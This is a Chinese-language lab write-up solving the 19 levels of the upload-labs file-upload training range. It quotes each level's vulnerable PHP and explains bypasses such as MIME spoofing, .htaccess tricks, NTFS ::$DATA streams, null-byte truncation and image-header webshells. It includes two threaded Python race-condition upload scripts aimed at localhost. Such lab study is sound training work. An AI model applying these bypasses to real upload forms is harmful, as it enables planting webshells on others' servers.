文件上传漏洞writeup

0x01 写在前面

之前github上有个人总结了上传的漏洞类型,欠了好久,现在来补作业了。

0x02 开始做题

pass 01

代码分析

从代码来看,第一关的校验是上传校验的方法是前端js校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>

解题方法

新建一个phpinfo.jpg的文件,直接上传通过前端js校验,然后通过burp抓包修改成php。

img

img

pass 02

代码分析

第二关主要是针对数据包的MIME进行检查,当然数据包传输过程中是不可信的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;

}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}
?>

解题方法

将数据包中的Content-Type修改为image/jpeg,image/png,image/gif

img

pass 03

代码分析

从第三关代码来看,代码设置了黑名单,禁止上传.asp,.aspx,.php,.jsp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

解题方法

由于是黑名单,因此存在后缀名校验不当导致绕过的问题,例如.phtml,.php3,.php5在某些环境下也能够解析

img

还有种办法就是在apache,可以通过重写.htaccess 规则来绕过

img

img

img

pass 04

代码分析

第四关与第三关的差别就是好像后缀名过滤的有点多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

解题方法

由于我们的环境中间件是apache,所以这里使用.htaccess绕过会比较舒服点。

img

img

img

pass 05

代码分析

从代码来看第五关与第四关的差别是在于$file_ext = strtolower($file_ext)。并没有针对后缀名做同一大小写转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

解题方法

所以这里很简单,直接大小写就可以绕过了。

img

pass 06

代码分析

这里第六关的代码其实和第四关的有点像,但是不同点在于

$file_name = trim($_FILES['upload_file']['name']);

trim()的作用去除字符串首尾处的空白字符(或者其他字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

解题办法

这里可以利用windows下的特性,文件名最后增加点和空格,写成phpinfo.php.,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是phpinfo.php

img

img

pass 07

代码分析

第7关代码与第6关有点像,多了个trim($_FILES['upload_file']['name']),然后做了黑名单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

解题办法

和第六关一样,文件名后加点,改成phpinfo.php. 就可以绕过了。

img

pass 08

代码分析

从代码来看,与第7关的差别是$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,依然是设置了黑名单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

解题方法

由于我们的环境操作系统是windows,这里可以通过Windows文件流特性绕过。phpinfo.php::$DATA

img

这里来个扩展,简单介绍下 NTFS 交换数据流 。

NTFS 交换数据流

NTFS 是微软Windows NT内核的系列操作系统支持的,是为了解决网络和磁盘配额,文件加密等安全特性所设计的磁盘格式,比FAT文件系统更加稳定,也更加安全。

NTFS-ADS,又称为 NTFS 交换数据流,是NTFS磁盘格式的一个特性。

在NTFS文件系统下,每个文件都可以存在多个数据流,也就是说,除了主文件流之外,还可以有很多非主文件流寄宿在主文件流中。虽然我们无法看到数据流文件,但是它是真实存在于我们系统之中的。

格式如下:

1
<filename>:<stream name>:<stream type>

有如下payload:

1
phpinfo.php:jpg

流类型以$开头,默认流类型为data,如上payload的完整形式其实是:

1
phpinfo.php:jpg:$data

文件内容在数据流文件中,我们当初上传的就是一个文件流文件,之所以会顺带生成phpinfo.php,是因为它没有找到自己的宿主文件,所以才创建了一个。

img

img

同理 phpinfo.php::$DATA 可以写入文件,是因为它确实向phpinfo.php写入了内容。

pass 09

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

这关的代码其实和第六关有点像,这里差别在

1
2
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = trim($file_ext); //首尾去空

差别就是多了这两段代码。

解题方法

上传文件名后加上点+空格+点,改为phpinfo.php. .

img

可以看到最后的点没了。

pass 10

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

从代码来看,这里会将黑名单里的后缀名替换成空。

解题方法

双写后缀名绕过phpinfo.pphphp

img

pass 11

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>

这里设置了白名单,从代码来说应该是没有问题的,但是这里路径采用拼接的办法。

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

我们当前环境是php 5.2因此存在%00截断问题。

解题方法

img

img

pass 12

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>

第12关于第十一关差别就在于原来的$_GET['save_path']变成了POST。

1
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

解题方法

还是通过截断绕过。

img

这里通过%00截断报错了。其实问题就在于%00其实通过get方式经过url解码之后是空字符,所以这里要产生空字符,需要通过hex方式,修改成0x00。

img

img

img

由于两个地方涉及到了%00截断,这里简单记录下原理。

php %00截断原理

截断类型:php %00截断

截断条件:

  1. php版本小于5.3.4 详情关注CVE-2006-7243
  2. php的magic_quotes_gpc为OFF状态

%00截断有这么2种利用状况

  1. 在url中加入%00,如http://xxxx/shell.php%00.jpg
  2. 在burpsuite的16进制编辑工具将”shell.php .jpg”(带空格的)中间的空格由20改成00

url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00,跟上面一样的变成asccii的null。

pass 13

代码分析

从代码来看就是检查文件头部。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

解题方法

绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

img

但是这里有个问题,这里上传的是图片马,如果没有文件包含的话其实是用不了的,但是这道题提示信息就是要求我们上传图片马。

pass 14

代码分析

这题一样使用getimagesize函数判断文件类型,但是这个函数也是检查文件头,是不可信的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

解题方法

img

一样上传完后无法解析,除非有文件包含问题,或者是解析漏洞,但是题目要求上传图片马。

pass 15

代码分析

exif_imagetype的作用是判断一个图像的类型 ,其实是读取一个图像的第一个字节并检查其签名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

解题方法

添加GIF89a的文件头就可以绕过了

img

同样没办法直接利用,需要配合文件包含或者文件解析漏洞。

pass 16

代码分析

这里有个函数imagecreatefromjpeg,作用是由文件或 URL 创建一个新图象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}

解题方法

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。 但是这里似乎没有对渲染异常进行处理,直接在正常jpg,png图片内插入webshell代码就可以了。

img

img

pass 17

代码分析

这里的代码似乎没有问题,但是这里多了一个unlink($upload_file);,所以我的猜想这里应该是通过竞争条件,在删除之前,成功写入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
?>

解题方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# coding:utf-8

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

img

pass 18

代码分析

这题我本来真没思路,觉得应该没问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
?>

跟进看一下MyUpload。感觉没毛病啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class MyUpload{    

var $cls_upload_dir = ""; // Directory to upload to.
var $cls_filename = ""; // Name of the upload file.
var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).
var $cls_max_filesize = 33554432; // Max file size.
var $cls_filesize =""; // Actual file size.
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.
var $cls_rename_file = 1; // Set to 1 to rename file after upload.
var $cls_file_rename_to = ''; // New name for the file after upload.
var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.

后来看了下作者自己打包的环境,哇apache版本有解析漏洞。然后其实还是没思路,后来看了t00ls大佬说,要通过竞争条件问题解决重命名,不然可能找不到文件位置。

解题方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# coding:utf-8

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload/Pass-18/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost/upload/Pass-18/
Content-Type: multipart/form-data; boundary=---------------------------132691894330861
Content-Length: 339
Cookie: pass=18
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------132691894330861
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php.7Z"
Content-Type: application/octet-stream

<?php phpinfo(); ?>
-----------------------------132691894330861
Content-Disposition: form-data; name="submit"

??????
-----------------------------132691894330861--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload/Pass-18/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

img

pass 19

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>

从代码来看,好像黑名单都过滤,因此这里解决办法,似乎可以试试%00截断

解题办法

img

0x03 总结

感觉代码考的上传类型有重复,作者说除了Pass-19必须在linux下,其余Pass都可以在windows上运行),但是第19关在windows上也行,不清楚什么情况,感觉作者可以更新下。

Refer

upload-labs 上传漏洞靶场的解题方法